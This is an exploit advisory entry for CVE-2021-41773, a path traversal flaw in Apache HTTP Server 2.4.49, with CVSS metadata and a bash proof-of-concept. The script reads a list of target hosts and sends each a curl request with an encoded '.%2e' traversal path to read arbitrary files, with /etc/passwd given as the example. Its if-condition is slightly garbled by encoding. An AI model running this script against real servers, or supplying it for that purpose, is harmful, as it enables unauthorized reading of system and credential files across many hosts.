Apache HTTP Server 2.4.49 Path Traversal

2021.10.06

Credit: Lucas Souza

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2021-41773

CWE: CWE-22

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done

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Apache HTTP Server 2.4.49 Path Traversal

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